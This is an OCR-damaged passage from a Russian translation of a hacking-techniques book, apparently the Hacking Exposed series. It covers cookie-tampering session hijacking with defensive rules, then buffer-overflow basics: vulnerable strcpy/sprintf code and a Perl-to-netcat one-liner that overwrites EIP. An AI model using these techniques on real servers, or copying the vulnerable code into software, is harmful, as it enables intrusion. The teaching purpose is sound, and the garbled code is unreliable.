состояния обозначены прямоугольниками с округлен
ными краями. Прямоугольники с обычными углами обозначают внутренние процессы
приложения. Состояния соединяются линиями перехода, переводящими пользователя
из одного состояния в другое. Переход между двумя состояниями может оказаться не
возможным, если они не связаны линией перехода. Последнее утверждение является
очень важным. В частности, атаки, направленные на перехват сеанса, основаны на
изъянах, которые позволяют такой недопустимый переход.
Рассмотрим состояние Read E mail (чтение сообщения) приложения eWebMail. Поль
зователь может достичь этого состояния только в том случае, если перед этим он нахо
дился в состоянии просмотра списка входящих сообщений. Щелкнув на соответствую
щей гиперссылке, пользователь сообщает приложению о том, что нужно перейти из со
стояния Inbox в состояние Read E mail. Запрос пользователя обрабатывается внутри
приложения, которое затем выводит текст почтового сообщения, содержащегося в папке
Inbox. В результате пользователь переходит в состояние Read E mail. Находясь в этом со
стоянии, он может вернуться в состояние Inbox, перейти в состояние Reply to E mail
(ответить на сообщение) или в состояние Delete E mail (удаление сообщения).
Точка входа в приложение определяется начальным состоянием. В данном случае
таким состоянием является Login
переход из которого можно осущест
вить лишь после ввода правильной комбинации имени пользователя и пароля. После
ввода корректных данных приложение создает логический сеанс работы. Сеанс связы
вает пользователя с приложением и позволяет отслеживать состояния пользователя
внутри приложения. Сеанс продолжается до достижения конечного состояния или
возникновения ошибки. В рассматриваемом случае сеанс работы с приложением за
вершается при достижении конечного состояния Logoff (выход из системы). При этом
должны быть удалены все значения, которые использовались для отслеживания сеан
са. С этого момента пользователь больше уже не может использовать приложение.
282
Часть Как они это делают
Протокол HTTP и отслеживание сеансов
Для
чтобы увидеть, как реализуется управление сеансами HTTP, рассмотрим
пример с Алисой, которая использует почтовую службу eWebMail для отправки сооб
щения Чарльзу. На рис. 13.12 в терминах диаграммы состояний и сеансов показано,
как Алиса использовала приложение eWebMail.
1HTTP запрос: Алиса
регистрируется в
Приложение проверяет
корректность
введенных данных
HTTP запрос: Алиса
сообщаето необхо
димости создания
нового сообщения.
В приложении
создается новое
сообщение
1HTTP ответ: в броузере Алисы
отображается содержимое ее
папки входящих сообщений
HTTP запрос: в броузере
Алисы снова отображается
содержимое ее папки
31
ВХОДЯЩИХ
сообщений
HTTP ответ: броузеру
Алисы передается форма
создания почтового
ния. Она набирает текст
сообщения и указывает адрес
HTTP запрос:
Алиса
отправляет
сообщение.
Приложение
обрабатывает
запрос на
отправку
и запускает
почтовую
программу
Рис.
Сеанс работы
с приложением eWebMail
Алиса начинает с состояния Login. Она вводит свое имя и пароль, после чего при
ложение успешно переходит в новое состояние. При этом для Алисы создается иден
тификатор uid, который в виде данных cookie передается ее броузеру. С момента соз
дания эти данные могут использоваться в течение одного часа. Таким образом, каж
дый раз, когда броузер передает запрос на узел
в этом
запросе передается также и идентификатор uid, который может использоваться до ис
течения срока его применения. После ввода Алисой корректных регистрационных
данных приложение переходит из состояния Login в состояние Inbox. Теперь прило
жение передает ответ на HTTP запрос, полученный им в состоянии Login. В ответе
содержится представление списка входящих сообщений, которое отображается в бро
узере Алисы после завершения транзакции HTTP. В этот момент между броузером и
Web сервером уже нет сетевого соединения, а есть лишь логическая связь.
В состоянии просмотра списка входящих сообщений Алиса решила создать новое
письмо, щелкнув на ссылке Compose левой панели. В результате броузер послал HTTP
запрос вместе с данными cookie по адресу http://ewebmail.examples.com/. После получе
ния запроса приложение выполняет декодирование строки cookie с использованием ме
ханизма XOR и "узнает", что запрос пришел от Алисы. Именно так и создается
Глава 13. Перевоплощение
связь пользователя с HTTP запросом. А как узнать, что Алиса просматривает вхо
дящие сообщения? Вот здесь и может пригодиться комбинация добавленная в конец
строки cookie. Фрагмент
соответствует номеру состояния. В приложении
каждому состоянию соответствует свой номер, который передается между броузером и
сервером. Значение 1 соответствует состоянию просмотра списка сообщений, 2 --- со
стоянию чтения сообщения, 3 --- состоянию создания нового сообщения и т.д. Обнару
жив в запросе строку приложение понимает, что Алиса находится в состоянии 1 до
тех пор, пока она не решит перейти в состояние 3, т.е. в режим создания нового сооб
щения. После этого в приложении состоянием сеанса Алисы станет состояние 3. В пе
реданном HTTP ответе содержится форма для создания письма, показанная выше на
рис. 13.2, а в строке cookie --- :3. С этого момента броузер снова отсоединяется от Web
сервера (с точки зрения сетевых соединений).
Как только Алиса завершила создание нового сообщения, она щелкнула на кнопке
В результате на узел eWebMail был отправлен еще один HTTP запрос. Полу
ченные данные cookie был снова проверены, и сеанс Алисы был переведен из состоя
ния создания письма к состоянию его отправки. Это временное состояние, переход из
которого осуществляется автоматически. Как только сообщение было доставлено поч
товой программе, сеанс Алисы опять был переведен в состояние просмотра входящих
сообщений с идентификатором состояния Когда Алиса щелкнула на кнопке Logoff,
приложением была отправлена пустая строка cookie, что привело к удалению данных
cookie из броузера Алисы. Сеанс работы Алисы с узлом eWebMail был завершен.
Приложения с сохранением состояния
и без сохранения состояния
В предыдущем разделе рассматривался сеанс работы Алисы
приложением
eWebMail. Вы узнали, как в этом приложении отслеживается состояние сеанса в каж
дый момент времени. Однако можно ли говорить, что в этом приложении действи
тельно сохраняется состояние? Каждый раз при передаче HTTP запроса пользователь
и состояние его сеанса определялись по полученным данным cookie. После этого при
ложение обрабатывало запрос и генерировало ответ в формате HTML. На рис. 13.13
представлено поведение приложения при получении HTTP запроса.
HTTP запрос
Извлечение из данных
cookie строки состояния
Идентификация пользователя
и его текущего состояния
Определение требуемого
перехода
Обработка запроса
на переход
HTTP ответ
Генерация ответа
вформате HTML
Рис.
Диаграмма процессов приложения е
284
Часть III. Как они это делают
Каждый получаемый приложением HTTP запрос обрабатывается аналогичным об
разом. Следовательно, это приложение не является приложением с сохранением состоя
ния. Этот термин подразумевает, что в приложении сеансы пользователей и состояния
отслеживаются независимо друг от друга, т.е. отслеживание сеанса выполняется в сер
верной части приложения.
В рассматриваемом случае все связанные с отслеживанием пользовательского се
анса обязанности возложены на клиентский броузер. Механизм cookie является про
стым способом передачи информации броузеру, который будет использовать ее при
передаче на сервер
запросов. Отслеживание сеансов в клиентской части
приложения позволяет существенно упростить его разработку. Однако зачастую раз
работчики забывают о золотом правиле обеспечения безопасности Web приложений:
любая информация, получаемая Web сервером извне, может
модифициро
ванной или даже испорченной. Именно это и произошло в рассмотренном примере
атаки
Боб модифицировал данные cookie, в которых содержа
лась информация о состоянии сеанса. А это привело к тому, что приложение предос
тавило ему список сообщений, которые предназначались для Алисы. На рис. 13.14
показана схема атаки, реализованная Бобом.
1HTTP запрос: Боб
регистрируется в системе.
Приложение проверяет
корректность введенных
данных
HTTP запрос:
передает
запрос на просмотр
списка почтовых
сообщений, в котором
указан идентификатор
Приложение извлекает
из полученного запроса
идентификатор
пользователя
ОО
HTTP ответ: в броузере
Боба отображается
содержимое его папки
входящих сообщений
В броузере Боб помещает
в свои данные cookie
идентификатор Алисы
HTTP запрос:
HTTP ответ: в броузере
Боба
перечень
входящих сообщений Алисы.
просто
на полученном
идентификаторе пользователя
HTTP ответ: приложение
удалило сообщение из
почтового ящикаАлисы.
3) В броузере Боба снова
отображается папка
сообщений
Алисы
Боб успешно
в Алису
Рис.
Взаимодействие Боба с приложением
Управление данными cookie в броузере Netscape системы Unix
Поговорка "Нужда --- мать всех изобретений" как нельзя лучше описывает ту
мысль, которая пришла в голову одному из авторов этой книги при поиске спо
соба фильтрации данных cookie в броузере Netscape системы Linux. Для системы
Linux не существует программ, эквивалентных Cookie Pal. В результате при вы
полнении повседневной работы пользователи редко обращаются к постоянным
данным cookie. Некоторые из них хранят в cookie свои личные регистрационные
данные, чтобы их не приходилось вводить каждый раз при регистрации на раз
Глава 13. Перевоплощение
285
личных узлах Internet. В общем, такое использование данных cookie является да
леко не лучшим решением. Предложение авторов по
данных cookie
в системе Linux заключается в удалении файла cookies.txt из каталога
и создании вместо него символьной ссылки cookies.txt, связанной с
файлом
При использовании броузера Netscape для работы с каким либо Web приложением
все данные cookie хранятся в оперативной памяти. Если броузеру передаются
идентификационные данные постоянного использования, то они записываются на
жесткий диск в файл cookies.txt. При реализации предлагаемого выше подхода
эти постоянные данные размещаются в файле /dev/null! При закрытии окна бро
узера память освобождается, и все данные cookie удаляются. Таким образом, но
вый сеанс работы всегда будет начинаться без использования идентификационных
данных. Такой подход оказывается гораздо
чем простое отключение режима
использования данных cookie с помощью параметров броузера. Иногда такие дан
ные требуются для корректной работы приложений.
Некоторые броузеры, например Opera, предоставляют прекрасный механизм
управления данными cookie. Этот броузер позволяет установить режим, когда все
такие данные будут удаляться при выходе из программы. Это аналогично созданию
символьной ссылки cookies.txt с файлом /dev/null.
Данные cookie и скрытые поля
Даже если приложение позволяет отслеживать состояние, все равно в нем должен
быть реализован механизм передачи идентификатора сеанса между броузером и сер
вером. Такая необходимость возникает из за того, что после передачи каждого ответа
TCP соединение разрывается. При получении другого запроса приложение должно
каким то образом определить, что передавший его пользователь ранее уже иницииро
вал сеанс работы.
Передавать информацию между броузером и Web сервером можно двумя способа
ми: с использованием данных cookie и скрытых полей. Ниже рассматриваются неко
торые достоинства и недостатки каждого подхода.
Cookie
Процесс обработки данных cookie тесно связан с броузером. Броузер передает со
ответствующие данные на Web сервер вместе с HTTP запросом, если они ранее были
получены с того же сервера. Такие популярные броузеры, как Netscape, Internet Ex
plorer и Opera, обрабатывают данные cookie достаточно хорошо.
Недостатком этого подхода является то, что на многих узлах данные cookie исполь
зуются для отслеживания поведения пользователя. Зачастую механизм cookie приво
дит к нарушению конфиденциальности. К сожалению, в броузерах не реализованы
встроенные механизмы, позволяющие избирательно разрешать и запрещать использо
вание данных cookie. Для решения этой задачи могут оказаться полезными такие
программы, как Cookie Pal.
По сравнению с использованием скрытых полей данный подход обладает сущест
венным преимуществом. Оно заключается в том, что для передачи на сервер значений
скрытых полей на каждой странице должна содержаться HTML форма, а для обмена
данными cookie никаких форм использовать не требуется.
286
Часть III. Как они это делают
Скрытые поля
Для передачи информации между броузером и Web сервером могут использоваться
также скрытые поля HTML форм. Преимущество скрытых полей заключается в том,
что их можно использовать даже после полного отключения механизма cookie.
Однако оба метода передачи информации связаны с опасностью подмены инфор
мации. При работе с Web приложением можно изменить как данные cookie, так и
значения скрытых полей. Именно поэтому очень важно продумать и реализовать ме
ханизмы отслеживания сеансов и использования идентификаторов сеансов.
Реализация механизмов отслеживания
сеансов и сохранения состояний
Перехват сеанса возможен в тот момент, когда Web приложение оказывается пол
ностью зависимым от обработки информации о сеансах и состояниях в клиентской
части. В некоторых случаях подмену идентификаторов можно выполнить, даже не
смотря на реализацию механизма отслеживания сеансов в серверной части. В рас
смотренной выше атаке Боб легко подменил идентификатор сеанса, выполнив обрат
ное проектирование. Если для исследования идентификаторов сеансов выполнялось
несколько предварительных атак, то последующий перехват сеанса может оказаться
гораздо проще. Поэтому реализации адекватных методов отслеживания сеансов и со
хранения состояний необходимо уделять самое пристальное внимание.
Основываясь на опыте, приобретенном в процессе тестирования защищенности
Web приложений, авторы сформулировали ряд правил реализации механизма под
держки сеансов и отслеживания состояний. Эти правила ни в коей мере не являются
исчерпывающими или применимыми ко всем Web приложениям. Скорее, их нужно
рассматривать как рекомендации, которыми следует руководствоваться при разработке
механизмов отслеживания сеансов и состояний.
Идентификаторы сеансов должны быть
уникальными
В каждом Web приложении между броузером и Web сервером должен устанавли
ваться логический сеанс взаимодействия. Именно для этого между броузером и серве
ром должна курсировать строка или последовательность данных, называемая иденти
фикатором сеанса. Желательно, чтобы каждый пользовательский сеанс можно было
распознать по уникальному идентификатору, который не использовался бы повторно
в других сеансах. Даже если один и тот же пользователь регистрируется в системе по
вторно, для него должен генерироваться новый идентификатор сеанса.
Идентификаторы сеансов должны быть
сложными
Наиболее простой способ выявления "слабых" идентификаторов заключается в
быстром создании множества сеансов или многократном их создании/разрушении в
течение короткого периода времени. Идентификаторы сеансов, которые последова
тельно увеличиваются, используют временные метки или основаны на каком либо
другом шаблоне, должны вызывать большое беспокойство. Такие идентификаторы се
Глава 13. Перевоплощение
287
ансов плохо
от последовательности предварительных атак, на основе кото
рых взломщик сможет перехватить сеанс, успешно сгенерировав идентификаторы се
ансов, совпадающие с идентификаторами текущих пользователей приложения.
Случайные идентификаторы сеансов можно сгенерировать на основе случайного
числа, текущего времени и какого либо специального числа. На основе этих данных
можно сгенерировать хэш код, который и будет использоваться в качестве идентифи
катора сеанса. Вероятность совпадения хэш кодов довольно низка, так что с их по
мощью успех предварительных атак можно свести практически к нулю.
Идентификаторы сеансов должны быть
независимыми
Идентификаторы сеансов не должны основываться на именах пользователей, па
ролях или состояниях приложения. В серверной части можно поддерживать справоч
ную таблицу, которая будет использоваться для связывания идентификаторов сеансов,
регистрационных данных пользователя и состояния приложения.
Идентификаторы сеансов должны быть
связаны с клиентскими соединениями
Во избежание перехвата и повторного использования идентификатора сеанса
взломщиком, который находится в той же сети, что и пользователь приложения, на
сервере нужно отслеживать IP адрес клиентского узла и время создания сеанса. Иден
тификатор сеанса должен быть связан с данными о клиентском соединении. При по
лучении каждого клиентского запроса информация о текущем соединении должна
сравниваться с данными, хранящимися на сервере. При обнаружении несоответствия
сеанс должен быть автоматически завершен.
Желательно, чтобы идентификатор сеанса после его создания на сервере переда
вался в клиентский броузер только один раз и через безопасное соединение SSL. Та
кой подход позволит предотвратить атаки, направленные
перехват сеанса.
Резюме
Перехват сеанса Web приложения осуществить гораздо сложнее, чем большинство
других атак. Однако при этом можно достичь разрушительного эффекта. Вне всякого
сомнения, возможность реализации подобных атак обусловлена наличием ошибок,
допущенных в процессе разработки приложений. Эти изъяны появляются как резуль
тат неудачного проектирования или реализации механизма отслеживания сеансов.
Никакие модули обновления операционной системы, брандмауэры или конфигураци
онные параметры Web сервера не смогут предотвратить атаки, направленные на пере
хват сеансов. В этой главе была описана одна из таких атак. Кроме того, были приве
дены контрмеры, которые позволяют обеспечить для Web приложения необходимый
уровень защиты. Каждый разработчик приложений для Web должен уделять большое
внимание вопросам проектирования и реализации механизмов отслеживания сеансов
и состояний. В состав современных Web серверов входят встроенные механизмы от
слеживания сеансов, а также программные интерфейсы, которые можно использовать
для доступа к этим механизмам в процессе разработки Web приложений.
288
Часть III. Как они это делают
ГЛАВА 14
Переполнение буфера
"на Незначительная ошибка способна привести к отклонению на ты
сячу миль.
Китайская пословица
Введение
В этой главе рассматриваются наиболее коварные из известных атак. Они базиру
ются на практически незаметных изъянах, которые с большим трудом поддаются об
наружению и исправлению. Эти изъяны существуют в коммерческом программном
обеспечении, например сервере Internet Information Server компании Microsoft, серве
ре баз данных корпорации Oracle и сервере Java Web Server компании Sun. Эти изъя
ны подсистемы защиты нельзя найти и устранить самостоятельно. В отличие от Web
приложений, ориентированных на конкретного заказчика, коммерческие приложения
контролируются одним производителем и обычно на их развитие пользователи не
оказывают практически никакого влияния.
Изъяны в подсистеме защиты коммерческих приложений гораздо проще обнару
живать и использовать, чем ошибки приложений, ориентированных на конкретного
заказчика. Причина заключается в том, что взломщики могут без труда получить, де
компилировать и сгенерировать ассемблерный код этих программ, чтобы разобраться,
что и как они делают. Обладая полученными знаниями, взломщик может быстро и
легко найти уязвимые места.
Пример
Ночью, в 2:24, хакер N3urOn (с настоящим именем Нейрон
только что
проснувшись и завтракая, услышал характерный звук компьютера. Арахисовое масло,
мед и сэндвичи могли бы хорошо подкрепить его на следующие тридцать шесть часов,
как, впрочем, и шесть банок холодного пива Red Bulls.
Приятель Нейрона по сети IRC, F14r3 (с реальным именем Флэр
отчаянно
пытался с ним связаться. Комнату наполнил громкий звон, который проникал сквозь
стены спальни и даже достиг кухни. Нейрон всегда крепко спит. Поэтому во время
отдыха он увеличивает громкость своего компьютера до
значения.
Хотя Нейрон был не в состоянии быстро шевелить ногами, услышав характерный
звук, он сразу же бросился к компьютеру и откликнулся на вызов.
тыв
ты здесь,
да! Здесь, я завтракаю
у меня получилось удаленно
переполнение на iis6
ты воспользуешься этим?
<F14r3> ты знаешь, я не работав с продуктами
[Флэр был
хакером системы NT и считал
своим
<F14r3> Ты это сможешь сделать?
<n3urOn> конечно, дай
[Флэр отправляет файл с подробным описанием проделанной
<N3urOn> ядай мне пару
То, что сделал Флэр, было анализом подсистемы защиты Web сервера IIS 6.0 систе
мы Windows XP. Им был обнаружен один из изъянов. Как ему удалось этого добиться?
Насколько трудно воспользоваться полученными сведениями на практике? В этой главе
подробно рассматриваются приемы, ежедневно используемые хакерами для взлома
программных продуктов, поиска в них условий переполнения буфера и разработки
средств взлома, с помощью которых можно воспользоваться обнаруженными изъянами.
290
Часть III. Как они это делают
Переполнение буфера
Для начала следует ознакомиться с некоторыми полезными средствами и получить
немного дополнительной информации. Чтобы понять материал этой главы, необхо
димо обладать хотя бы минимальными знаниями в следующих областях:
• язык ассемблера для процессоров х86;
• язык программирования С;
• основы отладки программ.
Кроме того, для получения максимальной пользы от рассматриваемого материала
и лучшего усвоения приведенных примеров необходимо ознакомиться с рядом про
граммных продуктов.
от компании
• Visual
от компании Microsoft (или любой другой компилятор C++) (http://
www.microsoft.com/vstudio),
• Interactive Dissassembler Pro от компании
(http://www.datarescue.com).
• Netcat от хакера Хоббита (Hobbit)
exploits/network scanners/).
• Perl от компании ActiveState (http:
• W32Dasm от компании
Co.
Простейшее переполнение буфера
Переполнение буфера происходит в том случае, когда размер записываемых дан
ных превышает объем памяти, зарезервированный для выполнения этой операции.
При этом данные записываются в область памяти, находящуюся за пределами
зервированного участка. Можно поспорить, что они наверняка попадут далеко не в
самое лучшее место.
Рассмотрим следующий фрагмент кода:
void
<char
char
strcpy(buff, name);
return;
} Для хранения переменной bu f f выделяется 10 байт (char b u f f
Затем строка,
адрес которой содержится в указателе name, копируется в буфер (buff
Посколь
ку длина строки по адресу
гораздо больше размера буфера, используемого для ее
обработки, в памяти возникнет переполнение данных. Где же размешаются дополни
тельные символы и как их можно использовать? Перед тем как отправиться дальше,
рассмотрим еще несколько фундаментальных принципов.
Краткие сведения о языке ассемблера
Ассемблер --- язык низкого уровня, написанный с учетом архитектуры определен
ного центрального процессора. Существуют многочисленные разновидности этого
языка, наиболее популярными из которых являются Intel 80x86, SPARC, RISC и
Глава 14. Переполнение буфера "на лету"
291
Digital. Язык ассемблера позволяет программисту взаимодействовать с аппаратными
средствами напрямую, например открыть последовательный порт, перезаписать со
держимое оперативной памяти или нарисовать линию на экране. Подробное рассмот
рение языка ассемблера не входит в задачи этой книги. Однако кратко познакомиться
с этим низкоуровневым миром машинных команд все же будет не лишним. В этом
разделе обсуждается лишь та информация, без которой нельзя обойтись при рассмот
рении материала данной главы.
Язык ассемблера является "родным" языком компьютерных систем. При написа
нии программ на этом языке используются инструкции центрального процессора.
При этом разработчик имеет полный доступ к процессору без каких либо ограниче
ний и дополнительного кода, без которого нельзя обойтись при использовании высо
коуровневых языков программирования.
программы на языке ассемблера яв
ляются более компактными и быстрыми, а также занимают меньший объем памяти
по сравнению с аналогичными программами на языках более высокого уровня. Кроме
того, такие программы прекрасно подходят для сокрытия ошибок!
Регистры общего назначения
Любой, кто пробовал скопировать файл размером 2 Мбайт на гибкий диск объе
мом 1.44 Мбайт, прекрасно знает, что собой представляют байты (или, как минимум,
испытывает их недостаток). Байты предназначены для конечных пользователей, по
скольку на самом деле данные хранятся в битах (двоичных единицах и нулях). В стан
дартном центральном процессоре байт состоит из 8 битов и позволяет хранить числа
от0до255.
Бит
Значение
Примеры
3
129
255
1
128
=
=
2
64
0
1
1
3
32
•0
0
1
4
16
0
0
1
5
8
0
0
1
6
4
0
0
1
7
2
0
0
1
8
1
1
0
1
1
1
1
Хранение битов и выполнение над ними различных операций осуществляется в
регистрах центрального процессора. В основном используются регистры четырех ти
пов:
32 и 64 битовые. В предыдущих примерах использовался регистр, размер
которого равен 8 бит.
Как правило, регистры общего назначения являются 16 битовыми и называются
А Х , ВХ, СХ и DX. Все эти регистры могут использоваться без каких бы то ни было огра
ничений, хотя в различных ситуациях они могут играть определенную роль. До появ
ления процессора 80386 каждый 16 битовый регистр общего назначения состоял из
старшей и младшей части, по 8 бит каждая. Таким образом, регистр АХ состоял из час
тей ИАН,ВХ---ИЗ ИВН,СХ--- ИСН,aDX---ИЗDLИDH.
Вот пример регистра АХ, в котором содержится число 25 263.
АН
11000101
0101111
Над каждой из восьмибитовых половин регистров операции можно выполнять на
прямую. При этом выполняемые действия будут отражаться на значении регистра в
целом. При переходе компьютерной техники к 32 битовому представлению данных
регистры также были расширены, чтобы обеспечить согласованность с этим увеличе
нием разрядности. Так, символ Е используется для представления 32 битового регист
ра. Конечно, после увеличения разрядности регистров по прежнему можно работать
отдельно с их 8 или 16 битовой частями.
292
Часть III. Как они это делают
EAX
Накопительный регистр (Accumulator). В основном регистр ЕАХ ис
пользуется при выполнении операций ввода вывода, арифметических
операций и вызове функций
ЕВХ
Базовый регистр (Base). В нем часто содержится адреса сегмента
ЕСХ
Регистр счетчик (Count). Он используется при выполнении циклов и
других повторяемых действий
EDX
Регистр данных (Data). Этот регистр используется при выполнении
операций ввода вывода и арифметических операций. Регистры об
щего назначения можно использовать по своему усмотрению. Однако
при выполнении некоторых операций каждый регистр может играть
определенную роль
Регистры указатели и индексные регистры
Регистры указатели являются 16 битовыми и в основном используются при вы
полнении строковых операций. Существуют три регистра указателя и два индекс
ных регистра.
Указатель стека
Всегда указывает на вершину стека. Более подроб
ная информация о стеке содержится ниже
ЕВР
Базовый указатель Обычно используется для доступа к переменным
стека
ESI и EDI Индекс источника и Обычно эти индексные регистры называются
индекс назначения строковыми и используются при обработке строк
байтов
EIP
Счетчик команд Определяет следующую инструкцию, которая будет
выполнена. Управляя счетчиком команд, можно
управлять процессом выполнения программы
Стек
Это специальная область памяти, используемая для следующих целей:
• хранения адресов возврата функций;
• хранения значений регистров;
• хранения значений переменных.
Стек можно представить как набор пластин, сложенных в пирамиду. Удалить или
добавить пластину можно только с вершины пирамиды. Процесс удаления пластины
называется pop (вытолкнуть), а добавления --- push (протолкнуть). Такой стек называ
ется также (Last In First Out
пришел --- первым обслужен"). При
вызове функции значения регистров, параметры функции, переменные и адрес воз
врата
в стек. Поскольку память, распределяемая под стек, разме
щается перед адресом возврата, можно достигнуть границ выделенной области, пере
записать значение адреса возврата и передать управление по любому другому адресу.
Именно так и можно добиться переполнения буфера.
Инструкции языка ассемблера
Перед написанием собственной утилиты взлома следует познакомиться с несколь
кими инструкциями языка ассемблера. В табл. 14.1 представлены некоторые инструк
ции, которые необходимо изучить перед запуском компилятора.
Глава 14. Переполнение буфера "на лету"
Таблица Основныеинструкции ассемблера
Общие инструкции
pop цель
push цель
mov
источник
Адресные инструкции
lea цель,
add цель, источник
inc источник
Дополнительные инструкции
стр
источник
dec цель
sub цель, источник
Логические инструкции
источник
test цель,
or
источник
shr цель, количество
add
Инструкции сдвига
цель, количество
shr цель, количество
Инструкции безусловного перехода
call цель
jm p метка
ret значение
Извлечь данные из стека
Поместить данные в стек
Переместить или скопировать байт, слово или двойное слово меж
ду регистрами или между регистрами и памятью
Загрузить эффективный адрес
Добавить байт, слово или двойное слово
Выполнить сравнение
Декрементировать байт, слово или двойное слово
Выполнить вычитание
Выполнить логическую операцию исключающего ИЛИ (XOR)
Проверить биты
Выполнить логическую операцию ИЛИ (OR)
Выполнить сдвиг битов вправо на заданное количество позиций
Добавить
слово или двойное слово
Выполнить сдвиг битов влево на заданное количество позиций
Выполнить сдвиг битов вправо на заданное количество позиций
Вызов процедуры
Безусловный переход
Возврат из процедуры
Отслеживание "злонамеренных" байтов
Теперь возвратимся к тому, на чем мы остановились выше. Вернемся к тому же
фрагменту кода и подробно рассмотрим, как центральный процессор его обрабаты
вает и что содержится в оперативной памяти, стеке и регистрах во время его вы
полнения. Вот этот фрагмент:
void overflow(void)
{
char
char
<=
294
Часть III. Как они это делают
При запуске процедуры "переполнения" (в процессе выполнения функции
содержимое стека в точке, обозначенной символами <=, выглядит сле
дующим образом:
адрес
адрес buff
данные
buff регистра ebp
адрес возврата
При вызове функции
все байты строки
помещаются в буфер
содержащийся в стеке. Дополнительные байты
поверх ранее сохранен
ного значения регистра ЕВР и адреса возврата. При завершении выполнения функции
содержимое регистра ЕВР восстанавливается из стека, т.е. из стека извлека
ется сохраненный ранее адрес возврата.
В нормальной ситуации в счетчике команд (EIP) содержится адрес ближайшей по
сле вызова функции инструкции. Поскольку обратный адрес был замещен другими
байтами, регистр EIP будет указывать на другое местоположение. В результате при за
пуске программы на экране появится сообщение Application Error, прекрасно знако
мое в мире хакеров (рис. 14.1).
The
at
а!
ТЫ
c ould not
Click to т
14.1. Сообщение об ошибке Application Error
Однако рассмотрим эти байты подробнее. Первое значение, 0 x 7 0 786567 , является
представлением подстроки рхед, входящей в состав строки
hacking exposed. Таким образом, значение счетчика команд можно модифицировать с
помощью функции
А это значит, что можно кардинально изменить ход вы
полнения программы, разместив в регистре EIP адрес кода, помещенного в память
при переполнении. Что произойдет, если в буфере buff разместить машинный код
(двоичное представление ассемблерных инструкций) и модифицировать содержимое
регистра EIP так, чтобы он на этот код указывал? Остается только надеяться,
прак
тически каждая компания разработчик программного обеспечения будет уделять вни
мание вопросам безопасности. В противном случае любую команду на удаленном
компьютере можно будет выполнить даже без подбора пароля. Другими словами, мир
был бы в наших руках.
Пример переполнения буфера
Рассмотрим интересный пример, а также проанализируем, как из сложившейся
ситуации можно извлечь максимальную выгоду.
Есть три возможности поиска изъянов переполнения буфера.
• Просмотр исходного кода.
• Дизассемблирование.
• Работа в предельном режиме.
Глава 14. Переполнение буфера "на лету"
Если условий переполнения буфера требуется достигнуть в системе Windows (что и
рассматривается в данной главе), то действия ограничиваются двумя последними воз
можностями. Ниже рассматриваются достоинства и недостатки каждой из них.
Это представление двоичной исполняемой программы (т.е. программного обеспе
чения) на языке ассемблера или в виде инструкций центрального процессора, выпол
няемых на компьютере. Если вы всерьез подумываете о подобном обратном проекти
ровании, то стоит воспользоваться единственным лучшим средством --- Interactive Dis
assembler Professional от компании Datarescue.
В мире Windows, в котором исходный код, как правило, недоступен, способность
"читать между строк" является невероятно ценным качеством. Чтобы обнаружить
изъяны посредством этого метода, необходимо понимать, как высокоуровневые функ
ции преобразуются в ассемблерный код. Для примера рассмотрим простой фрагмент
исходного кода на языке С.
int
*user)
{char
"4s некорректное имя
user);
return 1;
} Аргумент с заданной пользователем длиной user копируется в буфер
раз
мером 500 байт. Поскольку количеством передаваемых данных, которые размещаются
в буфере, можно управлять, это позволяет выйти за пределы выделенного диапазона и
выполнить произвольный
После дизассемблирования исходный код выглядит следующим образом:
mov eax,
push eax
push
;
некорректное имя пользователя"
lea ecx, [ebp lF4h]
push ecx
call _sprintf
Обратите внимание на ряд важных моментов. Параметры помещаются в стек в об
ратном порядке. С одной стороны, почти каждая инструкция, которая ссылается на
область памяти, расположенную выше адреса, заданного в регистре ЕВР (например,
ссылается на параметр процедуры. С другой стороны, при ссылке на ло
кальные переменные используется отрицательное смещение относительно адреса
ЕВР (например,
Так что же происходит? Параметр, ссылка на который имеет вид [ebp+8]
(пользовательская строка), помещается в регистр еах, а затем проталкивается в стек.
Следующим в стек записывается второй аргумент функции sprintf. Здесь
соот
ветствует десятичному числу 500 (размеру буфера). После завершения обратного про
ектирования можно без особых проблем выявить подобные вызовы. Пока в памяти
еще свежи полученные сведения, ничто не может помешать анализу низкоуровневого
преобразования функций.
Работа в предельном режиме
Перед реализацией атаки, например на почтовый сервер, вместо безрассудного по
гружения в ассемблерный код стоит обратиться к документации. Из документа RFC, в
котором описывается протокол SMTP, можно извлечь всю необходимую информацию о
296
Часть III. Как они это делают
командах, используемых на сервере по умолчанию. Исходя из полученных знаний,
можно сделать вывод, что для реализации атаки в качестве параметра какой либо ко
манды достаточно отправить длинную строку. Сделать это проще простого.
Хорошим инструментом для
тестирования является свободно распро
страняемая утилита NTOMax от компании Foundstone (http://www.foundstone.c om).
Из фрагмента исходного кода
видно, где располагается опасный
void
char
return;
} Полученные через сокет данные хранятся в переменной
а затем передают
ся в буфер размером 1400 байт без какой бы то ни было проверки границ. Та
ким образом, абсолютно очевидно, что если передать более 1400 байт данных, то
можно разместить информацию поверх дополнительной области памяти. Проверим,
удастся ли наложить данные поверх чего нибудь важного. Для начала запустим
программу chl4server.exe:
Затем загрузим программу
и нажмем комбинацию клавиш <Ctrl+D>. При ра
боте в системе
достичь поставленной цели можно с помощью команды
on,
которая позволяет перехватить любое нарушение доступа к памяти. Однако при работе в
системах
NT или 2000 одной команды faults on недостаточно. К сожалению,
при использовании программы Softlce в этих операционных системах могут возникать
некоторые проблемы. Вместо этого воспользуемся следующей командой:
bpx
do
Эта команда позволяет установить точку прерывания на обработчик прерываний
системы NT и дизассемблирует адрес, определяемый выражением esp+Oc. Этот адрес
определяет место, где произошло исключение. Введем в командной строке следую
щую команду:
С:\> perl e
"х"х1400.
yourhost 9999
С помощью этой команды на TCP порт 9999 передается 1400 байт символа х, а за
тем 4 байта
В действительности эти данные не могут разместиться нигде, кроме
важных областей оперативной памяти. Чтобы проиллюстрировать эту ситуацию, на
рис. 14.2 показано диалоговое окно отладчика Visual C++.
14.2. Содержимое регистра
замещено строкой
Глава Переполнение буфера "на лету"
297
Обратите внимание на левую верхнюю часть экрана, где содержимое счетчика ко
манд было заменено
представлением 0x64636261 дополнительно
переданной строки
Теперь, когда процессор находится под контролем, куда можно двигаться дальше?
Существует несколько возможностей. Одна из них связана с
стека, но,
к сожалению, система Windows не отличается надежностью. Поэтому реализацию та
кой возможности вряд ли можно считать хорошим выбором. Неплохо было бы обла
дать информацией о структуре стека или воспользоваться достаточно большой после
довательностью команд NOOP (no operation), что позволило бы достичь цели. Разуме
ется, желательно получить надежное решение. Второй вариант должен обеспечить
переход к процессу или библиотеке DLL, в контексте которых и выполнится код.
Обратимся к регистрам и посмотрим, с чем придется иметь дело.
Можно быстро определить, что одним из регистров, указывающих на что либо по
лезное, является ESI, который указывает прямо на буфер. Это можно проверить, вос
